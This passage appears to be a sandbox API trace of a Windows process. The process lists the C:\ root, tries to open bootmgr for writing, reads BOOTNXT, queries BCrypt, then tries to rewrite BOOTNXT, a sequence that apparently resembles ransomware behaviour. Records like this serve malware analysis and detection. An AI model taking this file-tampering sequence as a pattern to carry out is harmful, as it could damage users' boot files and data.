cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4a8d115, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4a8d115, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0068.112] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6e16f135, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0xb1ff7ba5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb1ff7ba5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0068.112] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0068.112] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0068.112] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1 [0068.112] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 0 [0068.113] FindClose (in: hFindFile=0x1ec51fc0 | out: hFindFile=0x1ec51fc0) returned 1 [0068.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fd9d0) returned 1 [0068.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fd990) returned 1 [0068.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fda90) returned 1 [0068.113] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x10fd530, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0068.113] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x10fd7b0 | out: lpFindFileData=0x10fd7b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x1ec51de0 [0068.113] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0068.114] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0068.114] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0068.114] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0068.114] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0068.114] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0068.114] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0068.114] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0068.115] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0068.115] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3d7ebe9, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0068.115] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0068.115] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0068.115] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0068.115] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4a8d115, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4a8d115, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0068.115] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0068.115] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0068.116] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0068.116] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0068.116] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6e16f135, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0xb1ff7ba5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb1ff7ba5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0068.116] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0068.116] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0068.116] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1 [0068.116] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0068.116] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fd9d0) returned 1 [0068.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fd990) returned 1 [0068.370] GetFullPathNameW (in: lpFileName="C:\\bootmgr", nBufferLength=0x105, lpBuffer=0x10fd370, lpFilePart=0x0 | out: lpBuffer="C:\\bootmgr", lpFilePart=0x0) returned 0xa [0068.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd840) returned 1 [0068.371] GetFileAttributesExW (in: lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), fInfoLevelId=0x0, lpFileInformation=0x3108550 | out: lpFileInformation=0x3108550*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da)) returned 1 [0068.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fd800) returned 1 [0068.373] GetFullPathNameW (in: lpFileName="C:\\bootmgr", nBufferLength=0x105, lpBuffer=0x10fd220, lpFilePart=0x0 | out: lpBuffer="C:\\bootmgr", lpFilePart=0x0) returned 0xa [0068.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd740) returned 1 [0068.373] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0068.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa130) returned 1 [0068.395] GetFullPathNameW (in: lpFileName="C:\\BOOTNXT", nBufferLength=0x105, lpBuffer=0x10fd370, lpFilePart=0x0 | out: lpBuffer="C:\\BOOTNXT", lpFilePart=0x0) returned 0xa [0068.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd840) returned 1 [0068.395] GetFileAttributesExW (in: lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt"), fInfoLevelId=0x0, lpFileInformation=0x310aa78 | out: lpFileInformation=0x310aa78*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1)) returned 1 [0068.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fd800) returned 1 [0068.398] GetFullPathNameW (in: lpFileName="C:\\BOOTNXT", nBufferLength=0x105, lpBuffer=0x10fd1d0, lpFilePart=0x0 | out: lpBuffer="C:\\BOOTNXT", lpFilePart=0x0) returned 0xa [0068.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd6f0) returned 1 [0068.398] CreateFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x358 [0068.398] GetFileType (hFile=0x358) returned 0x1 [0068.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fd660) returned 1 [0068.398] GetFileType (hFile=0x358) returned 0x1 [0068.398] GetFileSize (in: hFile=0x358, lpFileSizeHigh=0x10fd898 | out: lpFileSizeHigh=0x10fd898*=0x0) returned 0x1 [0068.398] ReadFile (in: hFile=0x358, lpBuffer=0x310ac18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fd7c8, lpOverlapped=0x0 | out: lpBuffer=0x310ac18*, lpNumberOfBytesRead=0x10fd7c8*=0x1, lpOverlapped=0x0) returned 1 [0068.400] CloseHandle (hObject=0x358) returned 1 [0068.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x10fd010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0068.410] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x10fd150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0068.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd5e0) returned 1 [0068.410] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x10fd6c0 | out: lpFileInformation=0x10fd6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0068.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fd5a0) returned 1 [0068.471] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x10fd690 | out: pfEnabled=0x10fd690) returned 0x0 [0068.597] GetFullPathNameW (in: lpFileName="C:\\BOOTNXT", nBufferLength=0x105, lpBuffer=0x10fd1d0, lpFilePart=0x0 | out: lpBuffer="C:\\BOOTNXT", lpFilePart=0x0) returned 0xa [0068.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd6f0) returned 1 [0068.597] CreateFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0068.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa0e0) returned 1 [0068.603] GetFullPathNameW (in: lpFileName="C:\\BOOTSECT.BAK", nBufferLength=0x105, lpBuffer=0x10fd370, lpFilePart=0x0 | out: lpBuffer="C:\\BOOTSECT.BAK", lpFilePart=0x0) returned 0xf [0068.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd840) returned 1 [0068.603] GetFileAttributesExW (in: lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), fInfoLevelId=0x0, lpFileInformation=0x31ba828 | out: lpFileInformation=0x31ba828*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, 